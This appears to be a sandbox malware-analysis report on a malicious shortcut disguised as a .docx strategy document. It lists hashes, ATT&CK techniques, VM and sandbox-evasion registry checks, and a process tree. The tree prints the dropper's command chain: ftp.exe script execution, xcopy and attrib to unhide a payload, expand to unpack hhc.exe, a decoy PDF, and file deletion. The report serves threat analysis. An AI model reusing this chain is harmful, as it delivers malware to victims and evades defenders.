4c7ae604ad1af90ea155865cb28fd7ccd6371f5ac172de6014b328514d4618e7

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
23/04/2026, 14:01

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Strategi_AS_Referensi_April2026/Strategi_AS_Referensi_April2026.docx.lnk
Size 737B
Sample260423-rbjc1set4l
SHA256 4c7ae604ad1af90ea155865cb28fd7ccd6371f5ac172de6014b328514d4618e7
MD5 33cc27c7b4e2b2503d55c1ff5b1991a3
SHA1 5672a9fcce3216834b5625bba4abafacc30e4e80
SHA512 5d5bbba2e115ab80b9620003af027ba8a8e5cd28b7267c3d8b7ee96c4b8acb8de990a18aab810833dc7e9d2fb745010597fa0bc237a2b02f77696e51173af9c3
TLSH
T181014C010BD65715D3314E72447F9370C6B6F802FAA6879E818067958946600BD3AE3A
MD5 SHA1 SHA512 TLSH

Score

9^/10

adware defense_evasion discovery spyware

Malware Config

Signatures

Enumerates VirtualBox registry keys 2 TTPs 3 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxSF	hhc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxGuest	hhc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VBoxMouse	hhc.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools	hhc.exe

Looks for VMWare services registry key. 1 TTPs 3 IoCs

defense_evasion

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\vmmouse	hhc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\vmmemctl	hhc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Vmware	hhc.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
1632	hhc.exe

Loads dropped DLL 1 IoCs

pid	Process
1632	hhc.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\LOGS\DPX\setupact.log	expand.exe
File opened for modification	C:\Windows\LOGS\DPX\setuperr.log	expand.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	hhc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AcroRd32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe

Checks SCSI registry key(s) 3 TTPs 12 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	hhc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags	hhc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\DeviceDesc	hhc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\DeviceDesc	hhc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\DeviceDesc	hhc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_MSFT&PROD_VIRTUAL_DVD-ROM\2&1F4ADFFE&0&000001	hhc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Phantom	hhc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_MSFT&PROD_VIRTUAL_DVD-ROM\2&1F4ADFFE&0&000002	hhc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Phantom	hhc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	hhc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	hhc.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	hhc.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AcroRd32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	AcroRd32.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	hhc.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	hhc.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	hhc.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\BIOSVendor	hhc.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\BIOSVersion	hhc.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	AcroRd32.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 28 IoCs

pid	Process
1632	hhc.exe
1632	hhc.exe
1632	hhc.exe
1632	hhc.exe
1632	hhc.exe
1632	hhc.exe
1632	hhc.exe
1632	hhc.exe
312	AcroRd32.exe
312	AcroRd32.exe
312	AcroRd32.exe
312	AcroRd32.exe
312	AcroRd32.exe
312	AcroRd32.exe
312	AcroRd32.exe
312	AcroRd32.exe
312	AcroRd32.exe
312	AcroRd32.exe
312	AcroRd32.exe
312	AcroRd32.exe
312	AcroRd32.exe
312	AcroRd32.exe
312	AcroRd32.exe
312	AcroRd32.exe
312	AcroRd32.exe
312	AcroRd32.exe
312	AcroRd32.exe
312	AcroRd32.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
312	AcroRd32.exe
312	AcroRd32.exe
312	AcroRd32.exe
312	AcroRd32.exe
312	AcroRd32.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 1240 wrote to memory of 2280	1240	cmd.exe	86
PID 2280 wrote to memory of 3436	2280	ftp.exe	87
PID 3436 wrote to memory of 3704	3436	cmd.exe	88
PID 3704 wrote to memory of 3228	3704	cmd.exe	89
PID 2280 wrote to memory of 4044	2280	ftp.exe	90
PID 4044 wrote to memory of 2504	4044	cmd.exe	91
PID 2504 wrote to memory of 3812	2504	cmd.exe	92
PID 2280 wrote to memory of 4920	2280	ftp.exe	93
PID 4920 wrote to memory of 4652	4920	cmd.exe	94
PID 4652 wrote to memory of 2260	4652	cmd.exe	95
PID 2280 wrote to memory of 3116	2280	ftp.exe	96
PID 3116 wrote to memory of 5012	3116	cmd.exe	97
PID 5012 wrote to memory of 1632	5012	cmd.exe	98
PID 2280 wrote to memory of 4280	2280	ftp.exe	101
PID 4280 wrote to memory of 4808	4280	cmd.exe	102
PID 4808 wrote to memory of 312	4808	cmd.exe	103
PID 2280 wrote to memory of 372	2280	ftp.exe	104
PID 372 wrote to memory of 4196	372	cmd.exe	105
PID 312 wrote to memory of 1896	312	AcroRd32.exe	106
PID 1896 wrote to memory of 116	1896	RdrCEF.exe	107
PID 1896 wrote to memory of 2440	1896	RdrCEF.exe	108
PID 1896 wrote to memory of 2440	1896	RdrCEF.exe	108
PID 1896 wrote to memory of 2152	1896	RdrCEF.exe	110
PID 1896 wrote to memory of 2880	1896	RdrCEF.exe	111
PID 1896 wrote to memory of 2136	1896	RdrCEF.exe	112

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3812	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Strategi_AS_Referensi_April2026\Strategi_AS_Referensi_April2026.docx.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1240
- C:\Windows\System32\ftp.exe
  "C:\Windows\System32\ftp.exe" -""s:_rels\info.dll
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2280
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /C cmd /c xcopy /h /y %cd%\_rels\.rels.log %temp%\
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3436
  - - C:\Windows\system32\cmd.exe
      cmd /c xcopy /h /y C:\Users\Admin\AppData\Local\Temp\Strategi_AS_Referensi_April2026\_rels\.rels.log C:\Users\Admin\AppData\Local\Temp\
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3704
    - - C:\Windows\system32\xcopy.exe
        
        xcopy /h /y C:\Users\Admin\AppData\Local\Temp\Strategi_AS_Referensi_April2026\_rels\.rels.log C:\Users\Admin\AppData\Local\Temp\
        5⤵
        
        PID:3228
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /C cmd /c attrib -s -a -h %temp%\.rels.log
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4044
  - - C:\Windows\system32\cmd.exe
      cmd /c attrib -s -a -h C:\Users\Admin\AppData\Local\Temp\.rels.log
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2504
    - - C:\Windows\system32\attrib.exe
        
        attrib -s -a -h C:\Users\Admin\AppData\Local\Temp\.rels.log
        5⤵
        Views/modifies file attributes
        
        PID:3812
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /C cmd /c expand %temp%\.rels.log -f:* %temp%\
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4920
  - - C:\Windows\system32\cmd.exe
      cmd /c expand C:\Users\Admin\AppData\Local\Temp\.rels.log -f:* C:\Users\Admin\AppData\Local\Temp\
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4652
    - - C:\Windows\system32\expand.exe
        
        expand C:\Users\Admin\AppData\Local\Temp\.rels.log -f:* C:\Users\Admin\AppData\Local\Temp\
        5⤵
        Drops file in Windows directory
        
        PID:2260
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /C cmd /c start /D %temp% .\hhc.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3116
  - - C:\Windows\system32\cmd.exe
      cmd /c start /D C:\Users\Admin\AppData\Local\Temp .\hhc.exe
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:5012
    - - C:\Users\Admin\AppData\Local\Temp\hhc.exe
        
        "C:\Users\Admin\AppData\Local\Temp\hhc.exe"
        5⤵
        Enumerates VirtualBox registry keys
        Looks for VMWare Tools registry key
        Looks for VMWare services registry key.
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Checks SCSI registry key(s)
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        
        PID:1632
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /C cmd /c start %cd%\_rels\557.pdf
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4280
  - - C:\Windows\system32\cmd.exe
      cmd /c start C:\Users\Admin\AppData\Local\Temp\Strategi_AS_Referensi_April2026\_rels\557.pdf
      4⤵
      Checks computer location settings
      Modifies registry class
      Suspicious use of WriteProcessMemory
      PID:4808
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\Strategi_AS_Referensi_April2026\_rels\557.pdf"
        5⤵
        System Location Discovery: System Language Discovery
        Checks processor information in registry
        Modifies Internet Explorer settings
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:312
      - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
        6⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:1896
        
        C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=9D4B6B0C7113E1C908E0A896F6545658 --mojo-platform-channel-handle=1752 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:116
        
        C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=3ABB8011F26E070215177C32F88FBF36 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=3ABB8011F26E070215177C32F88FBF36 --renderer-client-id=2 --mojo-platform-channel-handle=1764 --allow-no-sandbox-job /prefetch:1
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2440
        
        C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=4C988835223641483E4CF33A8A9C3637 --mojo-platform-channel-handle=2328 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2152
        
        C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=0C39B824980A53FBAA0E1664C737A792 --mojo-platform-channel-handle=1968 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2880
        
        C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=69C7DA4424C5AB1F5094D95B7350C428 --mojo-platform-channel-handle=2348 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2136
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /C cmd /c del /f /s /q %temp%\.rels.log
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:372
  - - C:\Windows\system32\cmd.exe
      cmd /c del /f /s /q C:\Users\Admin\AppData\Local\Temp\.rels.log
      4⤵
      PID:4196

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2584

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ReaderMessages

Path C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
Size 64KB
SHA256 d3826c4fbb6cfcb098dc4c0c2096041d1314a5465c399e4dc9794e66254524ee
MD5 1ce01709af082b9c5a95939bca7c7a13
SHA1 d928c44417f8c2609144827e5677dc7ecbec98af
SHA512 1ed4a622a878ec10506b9f258a6b32e0baf6a4c1bd2fe51c73d0f01883599087b308ee047825d4df6e39d57ae20c5fb68bc7f2ae38e68fbac3e4a225ad8696f7
SSDEEP 384:yexdThatELJ8SWvDTuGmQgZsLglKhubvGZsLRZh+vS4:Y+eUZsLQCZsL3hUS4
TLSH
T10A53CBDB26348040CA07A8BBADB5731BB662D0BFC1C6F1E87E858A1780F453D9775687
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ReaderMessages

Path C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
Size 36KB
SHA256 b1b77e96279ead2b460de3de70e2ea4f5ad1b853598a4e27a5caf3f1a32cc4f3
MD5 b30d3becc8731792523d599d949e63f5
SHA1 19350257e42d7aee17fb3bf139a9d3adb330fad4
SHA512 523f54895fb07f62b9a5f72c8b62e83d4d9506bda57b183818615f6eb7286e3b9c5a50409bc5c5164867c3ccdeae88aa395ecca6bc7e36d991552f857510792e
SSDEEP 24:TLiXlzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9Mzm+Zs3tGl:TqlmFTIF3XmHjBoGGR+jMz+LhT
TLSH
T178F21D566E241E3CCA9EC336340836C34D78023DACF3B762A58A719747AD181E37D6E9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ReaderMessages

Path C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
Size 56KB
SHA256 111dac2948e4cecb10b0d2e10d8afaa663d78d643826b592d6414a1fd77cc131
MD5 752a1f26b18748311b691c7d8fc20633
SHA1 c1f8e83eebc1cc1e9b88c773338eb09ff82ab862
SHA512 a2f5f262faf2c3e9756da94b2c47787ce3a9391b5bd53581578aa9a764449e114836704d6dec4aadc097fed4c818831baa11affa1eb25be2bfad9349bb090fe5
SSDEEP 192:wedRBvVrThe4p4/KhTB4p4CitZtkZsLRGVDbw6H3ph+v3YQa9:weZdThkKhBvkZsLRGlzh+vS9
TLSH
T1C94379DF2A348110CA0768BABD71771BB655D0BFC1C2F0A87AD68A1780B463CE775687
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

.rels.log

Path C:\Users\Admin\AppData\Local\Temp\.rels.log
Size 334KB
SHA256 1a442a8e12c1571a0663e64e0ac9c930035bb267259b684cd9607f76be6d017b
MD5 1b18a85568b049567b74a532e91ce312
SHA1 58a3e2da23607042cc3bbd7c0c831031d4d1a44a
SHA512 99d1dab6e2ceff797d892fe31d59b33ca539c26d47040395db46cc7138b3928b3b01add72623fb27538f2c358d4369cc516d9ba25f10be87a4f096c2e4a01b4c
SSDEEP 6144:DNMzlNsZZW1A3wxs7fmw+PP2TMI+VnI2SQRfq4hjCexFOZwme8+ylFLns6pHmPt:DulNbyB7fmwA+TMxnI2SQVbjCmFOZwmS
TLSH
T18474234F410F1A535C03D9167793F2069D83678B0AA86A0769CE8F32FE427E4DBDA4D2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MSVCR110.dll

Path C:\Users\Admin\AppData\Local\Temp\MSVCR110.dll
Size 91KB
SHA256 c69534bb3e6d4e1c9b21f9e4745f6fb002cbcd3ab83f9ad208eb7bb135401062
MD5 cf40dff69e108487781dde696e28a847
SHA1 e9f6fdafe545b8ac43fc3c2c47fcf308c53d1711
SHA512 b5794ac4942aecf29f469221fb8c216d518e39b76abcb2586a34091e83b41b5c8d913aa5381608077604ef5b20c1693396a3281e898baf1c1e49b80af2d98079
SSDEEP 1536:DiEssvjKlHrJWhXgmqMcMpwoepcPUsnkemNtuXLBLBblKGmgBsWZuVZcdwYjck7y:DiE1KlHr82Mp/UsrmMLBLBtmau6wYjcx
TLSH
T1BD937C01B5C2C035D8BE19390868DA765B3D7950DFE09DEB375916BE8F302C0AE35E6A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

hhc

Path C:\Users\Admin\AppData\Local\Temp\hhc
Size 259KB
SHA256 60292dee0e07a2b889d657e2fbd2f1cd517eaea58f1cfb1ed4a721a173520499
MD5 b116e05f092d89ebee774d114f82c7cf
SHA1 d74076ec8a2174d1f24e7f86ce54187309a09977
SHA512 7f4b6b8aa3d4c9a4f9235d8b4d06551414189586fcc7b799e197efa36d6ecc88e2d9ab188fb5548f25905126e716005a8d7db9e19163db9449ac9c9f115d1a03
SSDEEP 6144:wNMzlksZSW1A3wxsRfmw+PP2TM6+VnI2SQRfqLhjCexFOU:wulk2yBRfmwE+TMPnI2SQVwjCmFOU
TLSH
T15A44234F551F1B210903E9093BD3E1094C82AB4E4E68B5036CDD8B36B656BE49FCBAD7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

hhc.exe

Path C:\Users\Admin\AppData\Local\Temp\hhc.exe
Size 49KB
SHA256 fafb6ffd3ffcf414b702354f62a5216351af4566ed61ece7784846a6938bb8d9
MD5 dd935626ca573d778a34d74281d9338f
SHA1 37721f60a3e44972c5baef93cb152989ce0cabb3
SHA512 788794b18e718c0fd208421fe9c1cc48c49ec491385f859fbbe15b349619e1add84bf7706e1b449368544a86e959eaea248c9637095e48dc9f8c54b62778831f
SSDEEP 768:dfig6hSNmlRQvO/ynqVpWNskmjIKjMpQo8o3t8o:dfD9mlRMO/ynqVp87mj7QpF+o
TLSH
T157336B02BEE85161EDD2927065B8E61AC53F35314F6411F7E9500EEA2CB4BD16AFE03B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/312-121-0x0000000006C00000-0x0000000006C52000-memory.dmp

Download

memory/1240-23-0x00000206B1AD0000-0x00000206B1ADC000-memory.dmp

Download

memory/2260-14-0x0000020FBEFB0000-0x0000020FBEFBC000-memory.dmp

Download

